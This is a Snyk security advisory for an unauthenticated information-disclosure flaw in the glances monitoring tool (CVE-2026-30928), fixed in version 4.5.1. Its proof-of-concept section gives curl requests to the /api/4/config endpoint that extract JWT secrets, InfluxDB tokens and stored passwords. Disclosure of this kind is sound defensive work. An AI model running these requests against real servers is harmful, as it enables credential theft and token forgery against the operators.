Insertion of Sensitive Information Into Sent Data Affecting glances package, versions [,4.5.1)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
1.66% (74th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-GLANCES-15469143
  • published12 Mar 2026
  • disclosed9 Mar 2026
  • creditAman Rawat

Introduced: 9 Mar 2026

CVE-2026-30928  (opens in a new tab)
CWE-201  (opens in a new tab)

How to fix?

Upgrade Glances to version 4.5.1 or higher.

Overview

Glances is an A cross-platform curses-based monitoring tool

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the self.config.as_dict() function, which returns the entire configuration including sensitive values without filtering for the /api/4/config REST API endpoint. An attacker can obtain credentials for backend services, API tokens, JWT signing keys, and SSL key passwords by sending unauthenticated requests to the affected API endpoint.

PoC

  • Start Glances in default webserver mode:

glances -w

  • From any network-reachable host, retrieve all configuration secrets:

curl http://target:61208/api/4/config

  • Extract specific secrets:
# Get JWT secret key for token forgery
curl http://target:61208/api/4/config/outputs/jwt_secret_key

Get InfluxDB token

curl http://target:61208/api/4/config/influxdb2/token

Get all stored server passwords

curl http://target:61208/api/4/config/passwords

CVSS Base Scores

version 4.0
version 3.1